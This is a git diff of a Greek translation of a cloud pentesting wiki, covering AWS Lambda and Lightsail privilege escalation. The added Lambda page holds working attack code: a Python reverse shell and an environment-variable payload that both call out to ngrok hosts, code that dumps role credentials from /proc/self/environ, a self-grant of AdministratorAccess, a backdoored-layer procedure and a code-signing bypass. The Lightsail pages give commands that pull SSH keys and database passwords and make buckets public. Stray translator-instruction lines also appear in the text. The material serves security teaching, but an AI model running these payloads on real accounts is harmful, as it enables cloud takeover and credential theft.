διατηρώντας άθικτο κώδικα, ονόματα υπηρεσιών (π.χ. aws, GCP), τεχνικούς όρους hacking, links, paths, tags και refs, χωρίς να προσθέσω επιπλέον περιεχόμενο. -```bash -aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null -cat /tmp/out.json -``` -Πιθανός αντίκτυπος: Δυνατότητα να ανεβάσετε και να εκτελέσετε αυθαίρετο μη υπογεγραμμένο κώδικα σε μια συνάρτηση που υποτίθεται ότι επιβάλλει signed deployments, ενδεχομένως οδηγώντας σε εκτέλεση κώδικα με τα δικαιώματα του ρόλου της συνάρτησης. - -Καθαρισμός: -```bash -aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true -``` - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md new file mode 100644 index 000000000..2ba6925f6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md @@ -0,0 +1,317 @@ +# AWS - Lambda Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## lambda + +Περισσότερες πληροφορίες για τη lambda σε: + +{{#ref}} +../../aws-services/aws-lambda-enum.md +{{#endref}} + +### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) + +Οι χρήστες με τα **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** δικαιώματα μπορούν να κλιμακώσουν τα προνόμιά τους.\ +Μπορούν να **δημιουργήσουν μια νέα Lambda function και να της αναθέσουν ένα υπάρχον IAM role**, παρέχοντας στη function τα δικαιώματα που σχετίζονται με εκείνο το role. Ο χρήστης μπορεί στη συνέχεια να **γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (π.χ. με ένα rev shell)**.\ +Μόλις η function ρυθμιστεί, ο χρήστης μπορεί να **εκκινήσει την εκτέλεσή της** και τις επιδιωκόμενες ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει ουσιαστικά στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που παρέχεται από το συσχετισμένο IAM role.\\ + +Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει ένα **rev shell και να κλέψει το token**: +```python:rev.py +import socket,subprocess,os,time +def lambda_handler(event, context): +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 +``` + +```bash +# Zip the rev shell +zip "rev.zip" "rev.py" + +# Create the function +aws lambda create-function --function-name my_function \ +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip + +# Invoke the function +aws lambda invoke --function-name my_function output.txt +## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL + +# List roles +aws iam list-attached-user-policies --user-name +``` +Μπορείτε επίσης να **abuse the lambda role permissions** από την ίδια τη lambda function.\ +Εάν το lambda role είχε επαρκή permissions, θα μπορούσατε να το χρησιμοποιήσετε για να αποκτήσετε admin rights: +```python +import boto3 +def lambda_handler(event, context): +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response +``` +Είναι επίσης δυνατό να leak τα lambda's role credentials χωρίς να χρειάζεται εξωτερική σύνδεση. Αυτό θα ήταν χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Αν υπάρχουν άγνωστες security groups που φιλτράρουν τα reverse shells σου, αυτό το κομμάτι κώδικα θα σου επιτρέψει να leak απευθείας τα credentials ως output του lambda. +```python +def handler(event, context): +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} +``` + +```bash +aws lambda invoke --function-name output.txt +cat output.txt +``` +**Πιθανός Αντίκτυπος:** Άμεσο privesc στον καθορισμένο αυθαίρετο lambda service role. + +> [!CAUTION] +> Σημειώστε ότι, ακόμα κι αν μπορεί να φαίνεται ενδιαφέρον **`lambda:InvokeAsync`** **δεν** επιτρέπει από μόνο του να **εκτελέσετε `aws lambda invoke-async`**, χρειάζεστε επίσης `lambda:InvokeFunction` + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` + +Όπως στο προηγούμενο σενάριο, μπορείτε να **εκχωρήσετε στον εαυτό σας την άδεια `lambda:InvokeFunction`** αν έχετε την άδεια **`lambda:AddPermission`** +```bash +# Check the previous exploit and use the following line to grant you the invoke permissions +aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +``` +**Potential Impact:** Άμεσο privesc στον αυθαίρετο ρόλο υπηρεσίας lambda που καθορίζεται. + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` + +Χρήστες με **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** δικαιώματα (και ενδεχομένως `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να **escalate privileges** ακόμη και χωρίς `lambda:InvokeFunction`.\ +Μπορούν να δημιουργήσουν μια **Lambda function με κακόβουλο κώδικα και να της αναθέσουν έναν υπάρχοντα IAM role**. + +Αντί να καλεί απευθείας το Lambda, ο χρήστης δημιουργεί ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με το Lambda μέσω ενός event source mapping. Αυτή η ρύθμιση διασφαλίζει ότι η Lambda function θα ενεργοποιείται αυτόματα όταν προστεθεί νέο item στον πίνακα, είτε από ενέργεια του χρήστη είτε από άλλη διεργασία, καλώντας έτσι έμμεσα το Lambda και εκτελώντας τον κώδικα με τα δικαιώματα του IAM role που του ανατέθηκε. +```bash +aws lambda create-function --function-name my_function \ +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip +``` +Αν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης απλώς **needs to establish the event source mapping** για τη συνάρτηση Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει να **create a new table** με ενεργοποιημένο το streaming: +```bash +aws dynamodb create-table --table-name my_table \ +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +``` +Τώρα είναι δυνατό να **συνδέσετε τη Lambda function με το DynamoDB table** δημιουργώντας ένα **event source mapping**: +```bash +aws lambda create-event-source-mapping --function-name my_function \ +--event-source-arn \ +--enabled --starting-position LATEST +``` +Με τη λειτουργία Lambda συνδεδεμένη με το DynamoDB stream, ο attacker μπορεί **να ενεργοποιήσει έμμεσα το Lambda ενεργοποιώντας το DynamoDB stream**. Αυτό μπορεί να επιτευχθεί με **την εισαγωγή ενός item** στον πίνακα DynamoDB: +```bash +aws dynamodb put-item --table-name my_table \ +--item Test={S="Random string"} +``` +**Πιθανός Αντίκτυπος:** Άμεση privesc στον καθορισμένο lambda service role. + +### `lambda:AddPermission` + +Ένας attacker με αυτήν την άδεια μπορεί να **χορηγήσει στον εαυτό του (ή σε άλλους) οποιεσδήποτε άδειες** (αυτό δημιουργεί resource-based policies για να χορηγήσει πρόσβαση στον πόρο): +```bash +# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) +aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: + +# Invoke the function +aws lambda invoke --function-name /tmp/outout +``` +**Potential Impact:** Άμεση privesc στον ρόλο υπηρεσίας lambda, μέσω χορήγησης άδειας για τροποποίηση του κώδικα και εκτέλεσή του. + +### `lambda:AddLayerVersionPermission` + +Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **παραχωρήσει στον εαυτό του (ή σε άλλους) την άδεια `lambda:GetLayerVersion`**. Μπορεί να αποκτήσει πρόσβαση στο layer και να αναζητήσει ευπάθειες ή ευαίσθητες πληροφορίες +```bash +# Give everyone the permission lambda:GetLayerVersion +aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion +``` +**Πιθανός Αντίκτυπος:** Πιθανή πρόσβαση σε ευαίσθητες πληροφορίες. + +### `lambda:UpdateFunctionCode` + +Οι χρήστες που διαθέτουν την άδεια **`lambda:UpdateFunctionCode`** έχουν τη δυνατότητα να **τροποποιήσουν τον κώδικα μιας υπάρχουσας Lambda function που είναι συνδεδεμένη με έναν IAM role.**\ +Ο επιτιθέμενος μπορεί να **modify the code of the lambda to exfiltrate the IAM credentials**. + +Αν και ο επιτιθέμενος ενδέχεται να μην έχει την άμεση δυνατότητα να καλέσει τη λειτουργία, εάν η Lambda function είναι προϋπάρχουσα και λειτουργική, είναι πιθανό ότι θα ενεργοποιηθεί μέσω υπαρχόντων workflows ή events, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα. +```bash +# The zip should contain the lambda code (trick: Download the current one and add your code there) +aws lambda update-function-code --function-name target_function \ +--zip-file fileb:///my/lambda/code/zipped.zip + +# If you have invoke permissions: +aws lambda invoke --function-name my_function output.txt + +# If not check if it's exposed in any URL or via an API gateway you could access +``` +**Πιθανός Αντίκτυπος:** Άμεση privesc στο ρόλο υπηρεσίας του Lambda που χρησιμοποιείται. + +### `lambda:UpdateFunctionConfiguration` + +#### RCE μέσω env variables + +Με αυτά τα permissions είναι δυνατό να προστεθούν μεταβλητές περιβάλλοντος που θα κάνουν το Lambda να εκτελέσει αυθαίρετο κώδικα. Για παράδειγμα σε python είναι δυνατό να καταχραστεί κανείς τις μεταβλητές περιβάλλοντος `PYTHONWARNING` και `BROWSER` ώστε μια διεργασία python να εκτελέσει αυθαίρετες εντολές: +```bash +aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" +``` +Για άλλες scripting languages υπάρχουν άλλα env variables που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες δείτε τις υποενότητες των scripting languages στο: + +{{#ref}} +https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html +{{#endref}} + +#### RCE via Lambda Layers + +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπει την συμπερίληψη **code** στη lamdba function αλλά **αποθηκεύοντάς το ξεχωριστά**, έτσι ο function code μπορεί να παραμείνει μικρός και **several functions can share code**. + +Μέσα στο lambda μπορείτε να ελέγξετε τις διαδρομές από όπου φορτώνεται το python code με μια function όπως η ακόλουθη: +```python +import json +import sys + +def lambda_handler(event, context): +print(json.dumps(sys.path, indent=2)) +``` +Αυτές είναι οι τοποθεσίες: + +1. /var/task +2. /opt/python/lib/python3.7/site-packages +3. /opt/python +4. /var/runtime +5. /var/lang/lib/python37.zip +6. /var/lang/lib/python3.7 +7. /var/lang/lib/python3.7/lib-dynload +8. /var/lang/lib/python3.7/site-packages +9. /opt/python/lib/python3.7/site-packages +10. /opt/python + +Για παράδειγμα, η βιβλιοθήκη boto3 φορτώνεται από `/var/runtime/boto3` (4η θέση). + +#### Εκμετάλλευση + +Είναι δυνατόν να καταχραστείτε την άδεια `lambda:UpdateFunctionConfiguration` για να **προσθέσετε ένα νέο layer** σε μια lambda function. Για να εκτελεστεί αυθαίρετος κώδικας, αυτό το layer πρέπει να περιέχει κάποια **βιβλιοθήκη που πρόκειται να εισάγει η lambda.** Αν μπορείτε να διαβάσετε τον κώδικα της lambda, μπορείτε να το βρείτε εύκολα. Επίσης, σημειώστε ότι μπορεί να είναι πιθανό ότι η lambda **χρησιμοποιεί ήδη ένα layer** και να μπορείτε να **κατεβάσετε** το layer και να **προσθέσετε τον κώδικά σας** εκεί μέσα. + +Για παράδειγμα, ας υποθέσουμε ότι η lambda χρησιμοποιεί τη βιβλιοθήκη boto3 — αυτό θα δημιουργήσει ένα τοπικό layer με την τελευταία έκδοση της βιβλιοθήκης: +```bash +pip3 install -t ./lambda_layer boto3 +``` +Μπορείτε να ανοίξετε `./lambda_layer/boto3/__init__.py` και **add the backdoor in the global code** (μια συνάρτηση για να exfiltrate credentials ή να αποκτήσετε ένα reverse shell, για παράδειγμα). + +Στη συνέχεια, zip-άρετε τον φάκελο `./lambda_layer` και **upload the new lambda layer** στον δικό σας λογαριασμό (ή στον account του victim, αλλά ίσως να μην έχετε δικαιώματα για αυτό).\ +Σημειώστε ότι χρειάζεται να δημιουργήσετε έναν φάκελο python και να βάλετε εκεί τις βιβλιοθήκες ώστε να υπερκαλύψετε το /opt/python/boto3. Επίσης, το layer πρέπει να είναι **compatible with the python version** που χρησιμοποιείται από το lambda και, αν το ανεβάσετε στον λογαριασμό σας, πρέπει να βρίσκεται στην **same region:** +```bash +aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" +``` +Τώρα, κάντε το ανεβασμένο lambda layer **προσβάσιμο από οποιονδήποτε λογαριασμό**: +```bash +aws lambda add-layer-version-permission --layer-name boto3 \ +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * +``` +Και επισυνάψτε το lambda layer στη victim lambda function: +```bash +aws lambda update-function-configuration \ +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells +``` +Το επόμενο βήμα είναι είτε να **invoke the function** οι ίδιοι αν μπορούμε είτε να περιμένουμε μέχρι i**t gets invoked** με κανονικά μέσα — που είναι η ασφαλέστερη μέθοδος. + +Μια **more stealth way to exploit this vulnerability** μπορεί να βρεθεί στο: + +{{#ref}} +../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +{{#endref}} + +**Πιθανός Αντίκτυπος:** Direct privesc to the lambda service role used. + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` + +Ίσως με αυτά τα permissions να μπορείτε να create a function και να execute it καλώντας το URL... αλλά δεν μπόρεσα να βρω τρόπο να το δοκιμάσω, οπότε ενημερώστε με αν το κάνετε! + +### Lambda MitM + +Κάποιες lambdas πρόκειται να είναι **receiving sensitive info from the users in parameters.** Αν αποκτήσετε RCE σε μία από αυτές, μπορείτε να exfiltrate τις πληροφορίες που άλλοι users στέλνουν σε αυτήν, δείτε το στο: + +{{#ref}} +../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +{{#endref}} + +## Αναφορές + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing + +Αν μια Lambda function επιβάλει code signing, ένας attacker που μπορεί είτε να αφαιρέσει το Code Signing Config (CSC) είτε να το υποβαθμίσει σε Warn μπορεί να deploy unsigned code στη function. Αυτό παρακάμπτει τα integrity protections χωρίς να τροποποιήσει το function's IAM role ή τα triggers. + +Permissions (one of): +- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` +- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` + +Σημειώσεις: +- Για το Path B, δεν χρειάζεστε AWS Signer profile αν η πολιτική CSC οριστεί σε `WARN` (unsigned artifacts allowed). + +Steps (REGION=us-east-1, TARGET_FN=): + +Prepare a small payload: +```bash +cat > handler.py <<'PY' +import os, json +def lambda_handler(event, context): +return {"pwn": True, "env": list(os.environ)[:6]} +PY +zip backdoor.zip handler.py +``` +Μονοπάτι A) Αφαίρεση CSC και μετά ενημέρωση κώδικα: +```bash +aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 +if [ "$HAS_CSC" -eq 1 ]; then +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION +fi +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Διαδρομή B) Υποβάθμιση σε Warn και ενημέρωση κώδικα (αν το delete δεν επιτρέπεται): +```bash +CSC_ARN=$(aws lambda create-code-signing-config \ +--description ht-warn-csc \ +--code-signing-policies UntrustedArtifactOnDeployment=WARN \ +--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) +aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Επιβεβαιώνω: θα μεταφράσω το σχετικό αγγλικό κείμενο στα Ελληνικά διατηρώντας ακριβώς το ίδιο markdown/HTML. Δεν θα μεταφράσω code, ονόματα τεχνικών hacking, κοινές λέξεις hacking, ονόματα cloud/SaaS (π.χ. Workspace, aws, gcp), τη λέξη 'leak', pentesting, συνδέσμους ή paths (π.χ. lamda-post-exploitation.md), ούτε tags/refs όπως {#tabs}, {#tab name="Method1"}, {#ref}generic-methodologies-and-resources/pentesting-methodology.md{#endref} κ.λπ. Δεν θα προσθέσω επιπλέον περιεχόμενο πέρα από τη μετάφραση. +```bash +aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null +cat /tmp/out.json +``` +Πιθανός αντίκτυπος: Δυνατότητα να ανεβάσει και να εκτελέσει αυθαίρετο μη υπογεγραμμένο κώδικα σε συνάρτηση που υποτίθεται ότι επέβαλε υπογεγραμμένες αναπτύξεις, ενδεχομένως οδηγώντας σε εκτέλεση κώδικα με τα δικαιώματα του ρόλου της συνάρτησης. + +Καθαρισμός: +```bash +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true +``` + diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md deleted file mode 100644 index 533c3f796..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - Lightsail Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Για περισσότερες πληροφορίες σχετικά με το Lightsail, ελέγξτε: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -> [!WARNING] -> Είναι σημαντικό να σημειωθεί ότι το Lightsail **δεν χρησιμοποιεί IAM ρόλους που ανήκουν στον χρήστη** αλλά σε έναν διαχειριζόμενο λογαριασμό AWS, οπότε δεν μπορείτε να εκμεταλλευτείτε αυτή την υπηρεσία για privesc. Ωστόσο, **ευαίσθητα δεδομένα** όπως κώδικας, API κλειδιά και πληροφορίες βάσης δεδομένων θα μπορούσαν να βρεθούν σε αυτή την υπηρεσία. - -### `lightsail:DownloadDefaultKeyPair` - -Αυτή η άδεια θα σας επιτρέψει να αποκτήσετε τα SSH κλειδιά για να έχετε πρόσβαση στις περιπτώσεις: -``` -aws lightsail download-default-key-pair -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις περιπτώσεις. - -### `lightsail:GetInstanceAccessDetails` - -Αυτή η άδεια θα σας επιτρέψει να δημιουργήσετε κλειδιά SSH για να αποκτήσετε πρόσβαση στις περιπτώσεις: -```bash -aws lightsail get-instance-access-details --instance-name -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στις περιπτώσεις. - -### `lightsail:CreateBucketAccessKey` - -Αυτή η άδεια θα σας επιτρέψει να αποκτήσετε ένα κλειδί για να έχετε πρόσβαση στον κάδο: -```bash -aws lightsail create-bucket-access-key --bucket-name -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στον κάδο. - -### `lightsail:GetRelationalDatabaseMasterUserPassword` - -Αυτή η άδεια θα σας επιτρέψει να αποκτήσετε τα διαπιστευτήρια για να έχετε πρόσβαση στη βάση δεδομένων: -```bash -aws lightsail get-relational-database-master-user-password --relational-database-name -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στη βάση δεδομένων. - -### `lightsail:UpdateRelationalDatabase` - -Αυτή η άδεια θα σας επιτρέψει να αλλάξετε τον κωδικό πρόσβασης για να αποκτήσετε πρόσβαση στη βάση δεδομένων: -```bash -aws lightsail update-relational-database --relational-database-name --master-user-password -``` -Αν η βάση δεδομένων δεν είναι δημόσια, μπορείτε επίσης να την κάνετε δημόσια με αυτές τις άδειες με -```bash -aws lightsail update-relational-database --relational-database-name --publicly-accessible -``` -**Πιθανές Επιπτώσεις:** Βρείτε ευαίσθητες πληροφορίες μέσα στη βάση δεδομένων. - -### `lightsail:OpenInstancePublicPorts` - -Αυτή η άδεια επιτρέπει το άνοιγμα θυρών στο Διαδίκτυο. -```bash -aws lightsail open-instance-public-ports \ ---instance-name MEAN-2 \ ---port-info fromPort=22,protocol=TCP,toPort=22 -``` -**Πιθανές Επιπτώσεις:** Πρόσβαση σε ευαίσθητες θύρες. - -### `lightsail:PutInstancePublicPorts` - -Αυτή η άδεια επιτρέπει το άνοιγμα θυρών στο Διαδίκτυο. Σημειώστε ότι η κλήση θα κλείσει οποιαδήποτε θύρα έχει ανοιχτεί και δεν έχει καθοριστεί σε αυτήν. -```bash -aws lightsail put-instance-public-ports \ ---instance-name MEAN-2 \ ---port-infos fromPort=22,protocol=TCP,toPort=22 -``` -**Πιθανές Επιπτώσεις:** Πρόσβαση σε ευαίσθητες θύρες. - -### `lightsail:SetResourceAccessForBucket` - -Αυτή η άδεια επιτρέπει να δώσετε σε μια παρουσία πρόσβαση σε έναν κάδο χωρίς επιπλέον διαπιστευτήρια. -```bash -aws set-resource-access-for-bucket \ ---resource-name \ ---bucket-name \ ---access allow -``` -**Πιθανές Επιπτώσεις:** Πιθανή νέα πρόσβαση σε buckets με ευαίσθητες πληροφορίες. - -### `lightsail:UpdateBucket` - -Με αυτή την άδεια, ένας επιτιθέμενος θα μπορούσε να παραχωρήσει την δική του AWS λογαριασμό πρόσβαση ανάγνωσης σε buckets ή ακόμα και να κάνει τα buckets δημόσια σε όλους: -```bash -# Grant read access to exterenal account -aws update-bucket --bucket-name --readonly-access-accounts - -# Grant read to the public -aws update-bucket --bucket-name --access-rules getObject=public,allowPublicOverrides=true - -# Bucket private but single objects can be public -aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true -``` -**Πιθανές Επιπτώσεις:** Πιθανή νέα πρόσβαση σε buckets με ευαίσθητες πληροφορίες. - -### `lightsail:UpdateContainerService` - -Με αυτές τις άδειες, ένας επιτιθέμενος θα μπορούσε να παραχωρήσει πρόσβαση σε ιδιωτικά ECRs από την υπηρεσία κοντέινερ. -```bash -aws update-container-service \ ---service-name \ ---private-registry-access ecrImagePullerRole={isActive=boolean} -``` -**Πιθανές Επιπτώσεις:** Λάβετε ευαίσθητες πληροφορίες από ιδιωτικό ECR - -### `lightsail:CreateDomainEntry` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να δημιουργήσει υποτομέα και να τον κατευθύνει στη δική του διεύθυνση IP (κατάληψη υποτομέα), ή να δημιουργήσει μια εγγραφή SPF που του επιτρέπει να παραποιεί emails από τον τομέα, ή ακόμη και να ορίσει τον κύριο τομέα στη δική του διεύθυνση IP. -```bash -aws lightsail create-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**Πιθανές Επιπτώσεις:** Κατάληψη ενός τομέα - -### `lightsail:UpdateDomainEntry` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να δημιουργήσει υποτομέα και να τον κατευθύνει στη δική του διεύθυνση IP (κατάληψη υποτομέα), ή να δημιουργήσει μια εγγραφή SPF που του επιτρέπει να παραποιεί emails από τον τομέα, ή ακόμα και να ορίσει τον κύριο τομέα στη δική του διεύθυνση IP. -```bash -aws lightsail update-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**Πιθανές Επιπτώσεις:** Κατάληψη ενός τομέα - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md new file mode 100644 index 000000000..03d472ee4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - Lightsail Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Για περισσότερες πληροφορίες σχετικά με το Lightsail δείτε: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +> [!WARNING] +> Είναι σημαντικό να σημειωθεί ότι το Lightsail **doesn’t use IAM roles belonging to the user** αλλά σε έναν AWS managed account, οπότε δεν μπορείτε να καταχραστείτε αυτή την υπηρεσία για privesc. Ωστόσο, **ευαίσθητα δεδομένα** όπως code, API keys και database info μπορεί να βρεθούν σε αυτή την υπηρεσία. + +### `lightsail:DownloadDefaultKeyPair` + +Αυτή η άδεια θα σας επιτρέψει να αποκτήσετε τα SSH keys για πρόσβαση στα instances: +``` +aws lightsail download-default-key-pair +``` +**Potential Impact:** Εντοπισμός ευαίσθητων πληροφοριών εντός των instances. + +### `lightsail:GetInstanceAccessDetails` + +Αυτό το permission θα σας επιτρέψει να δημιουργήσετε SSH keys για να αποκτήσετε πρόσβαση στα instances: +```bash +aws lightsail get-instance-access-details --instance-name +``` +**Πιθανός Αντίκτυπος:** Εύρεση ευαίσθητων πληροφοριών μέσα στα instances. + +### `lightsail:CreateBucketAccessKey` + +Αυτή η άδεια θα σας επιτρέψει να αποκτήσετε ένα κλειδί για πρόσβαση στο bucket: +```bash +aws lightsail create-bucket-access-key --bucket-name +``` +**Πιθανός Αντίκτυπος:** Εύρεση ευαίσθητων πληροφοριών μέσα στο bucket. + +### `lightsail:GetRelationalDatabaseMasterUserPassword` + +Αυτό το δικαίωμα θα σας επιτρέψει να αποκτήσετε τα διαπιστευτήρια για πρόσβαση στη βάση δεδομένων: +```bash +aws lightsail get-relational-database-master-user-password --relational-database-name +``` +**Πιθανός Αντίκτυπος:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στη βάση δεδομένων. + +### `lightsail:UpdateRelationalDatabase` + +Αυτό το δικαίωμα θα σας επιτρέψει να αλλάξετε τον κωδικό πρόσβασης για πρόσβαση στη βάση δεδομένων: +```bash +aws lightsail update-relational-database --relational-database-name --master-user-password +``` +Αν η βάση δεδομένων δεν είναι δημόσια, θα μπορούσατε επίσης να την κάνετε δημόσια με αυτά τα δικαιώματα. +```bash +aws lightsail update-relational-database --relational-database-name --publicly-accessible +``` +**Πιθανός Αντίκτυπος:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στη βάση δεδομένων. + +### `lightsail:OpenInstancePublicPorts` + +Αυτή η άδεια επιτρέπει το άνοιγμα θυρών στο Διαδίκτυο. +```bash +aws lightsail open-instance-public-ports \ +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 +``` +**Πιθανός αντίκτυπος:** Πρόσβαση σε ευαίσθητες θύρες. + +### `lightsail:PutInstancePublicPorts` + +Αυτό το δικαίωμα επιτρέπει το άνοιγμα θυρών στο Διαδίκτυο. Σημειώστε ότι η κλήση θα κλείσει οποιαδήποτε θύρα είναι ανοιχτή και δεν αναφέρεται σε αυτή. +```bash +aws lightsail put-instance-public-ports \ +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 +``` +**Πιθανός αντίκτυπος:** Πρόσβαση σε ευαίσθητες θύρες. + +### `lightsail:SetResourceAccessForBucket` + +Αυτή η άδεια επιτρέπει να δοθεί σε instances πρόσβαση σε ένα bucket χωρίς επιπλέον διαπιστευτήρια. +```bash +aws set-resource-access-for-bucket \ +--resource-name \ +--bucket-name \ +--access allow +``` +**Potential Impact:** Νέα πιθανή πρόσβαση σε buckets που περιέχουν ευαίσθητες πληροφορίες. + +### `lightsail:UpdateBucket` + +Με αυτήν την άδεια, ένας επιτιθέμενος θα μπορούσε να παραχωρήσει στο δικό του AWS account πρόσβαση ανάγνωσης στα buckets ή ακόμη και να κάνει τα buckets δημόσια για όλους: +```bash +# Grant read access to exterenal account +aws update-bucket --bucket-name --readonly-access-accounts + +# Grant read to the public +aws update-bucket --bucket-name --access-rules 